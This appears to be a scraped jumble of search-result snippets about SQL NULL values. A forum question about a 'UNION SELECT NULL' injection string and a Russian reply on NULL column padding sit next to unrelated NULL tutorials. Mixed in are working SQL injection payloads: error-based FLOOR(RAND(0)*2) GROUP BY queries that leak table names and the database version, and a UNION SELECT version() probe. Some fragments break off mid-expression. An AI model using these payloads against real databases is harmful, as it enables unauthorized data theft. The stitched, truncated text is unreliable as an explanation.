Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
Смысл select null - это вывод пустого столбца (ну мало ли, вам надо 13 столбцов выдать, а в таблице только 12 - вот чтобы не изобретать составное поле, на расчет которого сервер потратит время и ресурсы, добавляют в select еще null). В вашем примере это действительно проверка...
A field with a NULL value is a field with no value. If a field in a table is optional, it is possible to insert a new record or update a record without adding a value to this
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))).
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))) +.
(select 1 from(select count(*), concat(( select( select unhex(hex
Mapping to and from null. Null Propagates Through Expressions. Null in Aggregate Functions
1 UNION ALL SELECT NULL,version()
In order to count null values you can use the IS NULL operator, which returns 1 when the value null.
I've been asked about counting NULL values several times so I'm going to blog about it in hopes others